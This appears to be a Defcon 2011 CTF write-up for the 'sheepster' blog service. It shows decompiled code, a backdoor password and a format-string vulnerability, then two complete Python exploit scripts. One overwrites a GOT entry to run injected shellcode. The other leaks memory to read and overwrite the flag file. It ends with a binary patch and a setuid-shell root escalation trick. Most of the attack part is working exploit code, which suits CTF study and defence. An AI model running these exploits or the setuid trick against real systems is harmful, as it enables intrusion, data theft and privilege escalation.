sheepster: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.2, stripped
This service classically listens on port 5775 and drops to privileges of user "sheepster". For every connection, a child is forked and handler function is called.
Decompilation by IDA Pro with Hex-Rays gives:
int __cdecl handler(int fd) { const char *encoded; // eax@5 size_t buflen; // eax@20 __int16 v3; // ax@26 size_t len__; // eax@29 const char *unscrambled; // eax@30 size_t buflen_; // eax@36 const char *scrambled; // eax@36 int result_; // [sp+1Ch] [bp-AFCh]@2 char feof_; // [sp+23h] [bp-AF5h]@26 char format[1000]; // [sp+26h] [bp-AF2h]@36 char user_name[10]; // [sp+40Eh] [bp-70Ah]@9 char buf[256]; // [sp+418h] [bp-700h]@1 char dest[512]; // [sp+518h] [bp-600h]@1 char filename_address[1000]; // [sp+718h] [bp-400h]@9 FILE *stream; // [sp+B00h] [bp-18h]@22 char *flag_r; // [sp+B04h] [bp-14h]@1 const char *flag_a; // [sp+B08h] [bp-10h]@1 int flag; // [sp+B0Ch] [bp-Ch]@1 unsigned int len; // [sp+B10h] [bp-8h]@1 flag_r = "r"; flag_a = "a"; flag = 0; len = 0; memset(filename, 0, 6u); memcpy(filename, "./log", 6u); memcpy(dest, ">", 2u); send_string(fd, dest, 0); memset(buf, 0, 0x100u); len = do_recv(fd, buf, 10u, '\n'); if ( (len & 0x80000000u) == 0 ) { if ( strcmp(buf, "zzyzxrd") ) { encoded = pass_encode(buf); if ( strcmp(encoded, "x`lXPPTH@8") ) { close(fd); return 0; } } else { flag = 1; } memcpy(dest, "Enter Username:", 0x10u); send_string(fd, dest, 0); memset(buf, 0, 0x100u); len = do_recv(fd, buf, 10u, '\n'); if ( (len & 0x80000000u) == 0 ) { strncpy(user_name, buf, 10u); memset(filename_address, 0, 1000u); memset(dest, 0, 512u); sprintf(filename_address, "0x%x\n", filename); memcpy(dest, "Welcome to the ddtek blog.\n", 28u); send_string(fd, dest, 0); while ( 1 ) { while ( 1 ) { len = 0; send_string(fd, "$", 0); memset(dest, 0, 512u); memset(buf, 0, 256u); len = do_recv(fd, buf, 10u, '\n'); if ( (len & 0x80000000u) != 0 ) { close(fd); return 0; } if ( strcmp(buf, "key_op") ) break; if ( backdoor_crypto(fd, 0) ) send_string(fd, "success\n", 0); else send_string(fd, "fail\n", 0); } if ( !strcmp(buf, "quit") ) break; if ( strcmp(buf, "echo") ) { if ( strcmp(buf, "read") ) { if ( strcmp(buf, "write") ) { if ( buf[0] ) { strcpy(dest, buf); strcat(dest, " : command not found\n"); send_string(fd, dest, 0); } } else { stream = fopen(filename, flag_a); // command write if ( stream ) { memset(dest, 0, 512u); memcpy(dest, "Post:", 6u); send_string(fd, dest, 0); memset(buf, 0, 256u); len = do_recv(fd, buf, 64u, '\n'); if ( (len & 0x80000000u) != 0 ) { close(fd); return 0; } memset(dest, 0, 512u); strcpy(dest, user_name); buflen_ = strlen(dest); memcpy(&dest[buflen_], ": ", 3u); strcat(dest, buf); memset(format, 0, 1000u); scrambled = encode(dest); strcpy(format, scrambled); strcat(format, "\n"); if ( flag == 1 ) fputs(format, stream); else fprintf(stream, format); // vuln fclose(stream); } else { memset(dest, 0, 512u); memcpy(dest, "Could not open blog\n", 21u); send_string(fd, dest, 0); } } } else { stream = fopen(filename, flag_r); // command read if ( stream ) { fseek(stream, -1000, 2); while ( 1 ) { memset(dest, 0, 0x200u); fgets(dest, 100, stream); if ( _isthreaded ) { feof_ = feof(stream) != 0; } else { v3 = LOWORD(stream->_IO_read_base); feof_ = (v3 & ' ') != 0; } if ( feof_ ) break; unscrambled = decode(dest); strcpy(dest, unscrambled); send_string(fd, dest, 0); } memset(dest, 0, 0x200u); len__ = strlen(dest); memcpy(&dest[len__], "eof\n", 5u); send_string(fd, dest, 0); fclose(stream); } else { memset(dest, 0, 0x200u); memcpy(dest, "Could not open blog\n", 0x15u); send_string(fd, dest, 0); } } } else { memset(dest, 0, 0x200u); memcpy(dest, ">", 2u); send_string(fd, dest, 0); memset(buf, 0, 0x100u); len = do_recv(fd, buf, 64u, '\n'); if ( (len & 0x80000000u) != 0 ) { close(fd); return 0; } buflen = strlen(buf); memcpy(&buf[buflen], "\n", 2u); send_string(fd, buf, 0); } } result_ = 0; } else { close(fd); result_ = 0; } } else { close(fd); result_ = 0; } return result_; }A password is asked, silently. If it matches "zzyzxrd", program continues with flag = 1. If, once encoded, it matches "x`lXPPTH@8", then same with flag = 0. Any other string drops the connection.
The server then asks for a username, ended with "\n" or of maximum 10 characters. After, the user is provided with the blog command-line, accepting the following commands:
- quit: close connection
- key_op: enter ddtek's backdoor, print "failed" if wrong key and continue
- echo: print the args
- read: read a blog entry from file
- write: write a blog entry to file, with fputs(stream, string) if flag is 0 or fprintf(stream, string) if flag is 1 => format string vulnerability
Note that posts are encoded (using a custom function) when saved to file with command write. Similarly, posts are decoded (with the inverse function) before being displayed with command read.
Exploit
First, implement the password encode function, create its inverse and decode the password that leaves flag = 0. Second, implement the encode and decode functions used in write and read commands.
Then, leverage the format string vulnerability to:
- write a shellcode in an available rwx memory area
- rewrite a GOT function pointer such as close() to jump to it
Because the program encodes the blog post before passing it to fprintf, every format string must be decoded first then sent to the program.
This implies the following limitations:
- encoded format string must not contain "\x00" (stops strcat) or "\n" (stops recv)
- the format string must be smaller than 64 characters
In order to have a set of valid format strings to write all required data, the following exploit implements a recursive algorithm choosing between different format string techniques (half/byte of length 6/4/3/2/1).
Exploit code:
#!/usr/bin/python # Defcon 2011 CTF - sheepster import socket, random, string from sys import argv,exit from struct import pack, unpack DEFAULT_PORT = 5775 DEBUG = False GOT_CLOSE = 0x0804E698 AREA = 0x804ec70 # some available rwx memory # reimplement the password encode function def pass_encode(s): o = '' for i in range(len(s)): x = ord(s[i]) x += 3 * i x >>= 2 x -= 2 * i x *= 4 o += chr(x & 0xFF) return o # then implement its inverse def pass_decode(s): o = '' for i in range(len(s)): x = ord(s[i]) x /= 4 x += 2 * i x <<= 2 x -= 3 * i o += chr(x & 0xFF) return o # encode function used to write posts to file def encode(s, offset=0): o = '' for i in range(len(s)): x = ord(s[i]) x ^= 0x2B x += 63 x ^= 0x58 x -= 77 x ^= 0x4A x += 27 x -= (2 * (offset+i)) % 8 o += chr(x & 0xFF) return o # decode function used to read posts from file def decode(s, offset=0): o = '' for i in range(len(s)): x = ord(s[i]) x += (2 * (offset+i)) % 8 x -= 27 x ^= 0x4A x += 77 x ^= 0x58 x -= 63 x ^= 0x2B o += chr(x & 0xFF) return o def randalnum(size): alnum = [c for c in string.lowercase+string.uppercase+string.digits] return "".join([random.choice(alnum) for i in range(size)]) def connect(dst, port): try: s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM) s.connect((dst, port)) return s except socket.error, e: print "Error: %s" % repr(e) exit(1) def recv(s, size=4096): d = s.recv(size) if DEBUG: print "S: %r" % d return d def send(s, d): if DEBUG: print "C: %r" % d return s.send(d) def welcome(s, user=""): recv(s) # > # enter with flag = 0 by giving the encoded password send(s, pass_decode("x`lXPPTH@8") + "\n") # "xevgdirkhe" recv(s) # "Enter Username:" if len(user) < 10: user += "\n" send(s, user[:10]) if "$" not in recv(s): # "Welcome to the ddtek blog.\n" recv(s) # "$" def write(s, data): send(s, "write\n") r = recv(s) # "Post:" if "Could not open blog" in r: print "[!] Error: server replied %r" % r.strip() exit(1) data = decode(data, offset=10) # user+": " if len(data) < 64: data += "\n" print "[+] Writing post of length %i" % len(data) send(s, data[:64]) # max size 64 and "\n" terminates recv(s) # "$" def read(s): send(s, "read\n") d = "" while not d.endswith("eof\n$"): d += recv(s) return d def read_find(s, user): # read text: multiple blog posts text = read(s) # match start startp = user + ": " start = text.find(startp) if start == -1: raise Exception("read_find(): cannot find start") text = text[start+len(startp):] # match end -- we expect our post to be the last one when reading end = text.find("\neof\n$") if end == -1: raise Exception("read_find(): cannot find end") text = text[:end] # we got it! return encode(text, 10) def valid_format_string(data, already_written=0): # avoid bad chars data = decode(data, offset=already_written) if "\n" in data or "\x00" in data or len(data) > 64: return False else: return True def fmt_write_half(address, data, offset, already_written=0): data += "\x00"*(-len(data)%2) # align v = [unpack("<H",data[i:][:2])[0] for i in range(0,len(data),2)] f = "" for i in range(len(v)): f += pack("<I", address + 2*i) aw = already_written + len(f) for i in range(len(v)): f += "%" + str((v[i]-aw)&0xFFFF) + "u%" + str(offset + i) + "$hn" aw = v[i] return f def fmt_write_byte(address, data, offset, already_written=0): v = map(ord, [c for c in data]) f = "" for i in range(len(v)): f += pack("<I", address + i) aw = already_written + len(f) for i in range(len(v)): f += "%" + str((v[i]-aw)&0xFF) + "u%" + str(offset + i) + "$hhn" aw = v[i] return f def find_strategy(data, address, offset, already_written): """Find the best strategy of format strings to write data at address. At our disposition: format strings of half-words or bytes, any length. Limitations: length < 64 and no "\n" or "\x00" after encode Function recursively checks if a given choice does not lead to a dead-end""" if len(data) == 0: # nothing to do return [] if len(data) >= 6: fmt = fmt_write_half(address, data[:6], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[6:], address+6, offset, already_written) if remainder != False: return [(6, "half")] + remainder if len(data) >= 4: fmt = fmt_write_half(address, data[:4], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[4:], address+4, offset, already_written) if remainder != False: return [(4, "half")] + remainder if len(data) >= 4: fmt = fmt_write_byte(address, data[:4], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[4:], address+4, offset, already_written) if remainder != False: return [(4, "byte")] + remainder if len(data) >= 3: fmt = fmt_write_byte(address, data[:3], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[3:], address+3, offset, already_written) if remainder != False: return [(3, "byte")] + remainder if len(data) >= 2: fmt = fmt_write_half(address, data[:2], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[2:], address+2, offset, already_written) if remainder != False: return [(2, "half")] + remainder if len(data) >= 2: fmt = fmt_write_byte(address, data[:2], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[2:], address+2, offset, already_written) if remainder != False: return [(2, "byte")] + remainder if len(data) >= 1: fmt = fmt_write_byte(address, data[:1], offset, already_written) if valid_format_string(fmt, already_written): remainder = find_strategy(data[1:], address+1, offset, already_written) if remainder != False: return [(1, "byte")] + remainder # no suitable format string found return False def write_at_address(s, data, address): # format string parameters offset = 11 already_written = 10 # len(user + ": ") # find a combination of half/byte format strings that does it strategy = find_strategy(data, address, offset, already_written) if strategy == False: print "[!] Unable to find a suitable format string strategy" exit(1) # then send the writes i = 0 for length, type in strategy: if type == "half": fmt = fmt_write_half else: # type == "byte" fmt = fmt_write_byte str = fmt(address + i, data[i:][:length], offset, already_written) write(s, str) i += length def exploit(dst, port): s = connect(dst, port) user = randalnum(8) print "[*] User: %s" % user welcome(s, user) sc = "\xcc" # your shellcode # write shellcode using format string write_at_address(s, sc, AREA) # rewrite GOT entry of close() to point to shellcode write_at_address(s, pack("<I", AREA), GOT_CLOSE) # jump to shellcode by calling close() send(s, "quit\n") if __name__=='__main__': if len(argv) < 2: print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT) exit(1) dst = argv[1] port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT try: exploit(dst, port) except KeyboardInterrupt: print "Interrupted"
Funny exploit
Blog filename is stored in the .bss at 0x0804E710 and filled by:
memcpy(filename, "./log", 6u);
To steal flags, use the format string to rewrite "./log" to "./key", then use "read" command to read the flag, encoded.
To overwrite flag, we could use the "write" command. Unfortunately, the file is opened in append mode and a prefix of "<user>: " is enforced so, unless ddtek allows such overwrites in their scoring engine, it should not work.
More fun? Suppose that the filename is not in the .bss but at a unknown address - for instance initialized with malloc(). For an unknown reason, the program stores the address of the filename in a stack buffer, in hexadecimal text format with:
sprintf(filename_address, "0x%x\n", filename);
Use the format string to leak this stack buffer and obtain the address of the filename. To read the result, use the "user" parameter as a pattern to find in the result of the read command ("<user>: " is not encoded).
Exploit code:
#!/usr/bin/python # Defcon 2011 CTF - sheepster - funny import re from sheepster import * def leak_filename_address(s, user): offset = 453 fmt = "%" + str(offset) + "$08x" # 4 bytes fmt += "%" + str(offset+1) + "$08x" # 4 bytes fmt += "%" + str(offset+2) + "$04hx" # 2 bytes if not valid_format_string(fmt, 10): print "[-] Leak format string is not valid" exit(1) try: write(s, fmt) r = read_find(s, user) except Exception, e: if str(e).startswith("read_find(): "): print "[-] Write+read failed, please retry" exit(1) else: raise e # address was written with sprintf(stack_buf, "0x%x\n", filename) # so parse hexadecimal text format r = "".join([r[i:][:8].decode("hex")[::-1] for i in range(0,len(r),8)]) return int(r.strip(), 16) def read_flag(s): text = read(s) end = text.find("\neof\n$") if end == -1: print "[-] Cannot find eof" return "" text = text[:end] return encode(text) def exploit(dst, port): s = connect(dst, port) user = randalnum(8) print "[*] User: %s" % user welcome(s, user) # leak filename address instead of using its value in .bss (0x0804E710) # could have been cool if adress was malloc'd/randomized filename_address = leak_filename_address(s, user) print "[*] Leaked filename address: 0x%08x" % filename_address # change filename write_at_address(s, "key", filename_address+2) # skip "./" # read flag flag = read_flag(s) if re.match("^[0-9a-f]{40}$", flag) is None: print "[-] Read flag failed :( retry?" else: print "[*] Read flag: %s" % flag # overwrite flag team_key = flag[::-1] print "[*] Overwrite with team key: %s" % team_key write(s, team_key) if __name__=='__main__': if len(argv) < 2: print "Usage: %s <dst> [<port=%i>]" % (argv[0], DEFAULT_PORT) exit(1) dst = argv[1] port = int(argv[2]) if len(argv)>2 else DEFAULT_PORT try: exploit(dst, port) except KeyboardInterrupt: print "Interrupted"
Patch
Nop the conditional jump after the flag check in order to always call fputs and never fprintf.
This turns the vulnerable code:
if ( flag == 1 ) fputs(format, stream); else fprintf(stream, format); // vulninto:
if ( 1 ) fputs(format, stream); else fprintf(stream, format); // never called
It gives the following 3-bytes patch in IDA .dif format:
000024B9: 75 90 000024BA: 17 90
Open question
What would happen if:
- the home directory is writeable by user sheepster (maybe to be able to create "./log" if it does not exist?)
- something (cron by the organizers?) regularily chowns this file to root (what for?)
Our guess:
sheepster:~$ cp /bin/sh log sheepster:~$ chmod u+s logNow that something does:
root:~# chown root /home/sheepster/logand unlike Linux, setuid bit remains...
sheepster:~$ ./log -i # id # uid=30013(sheepster) gid=30013(sheepster) euid=0(root) groups=30013(sheepster)
What do you think?
Could this automatic chown'ing be how Lollersk8terz gained root access to several boxes?
ReplyDelete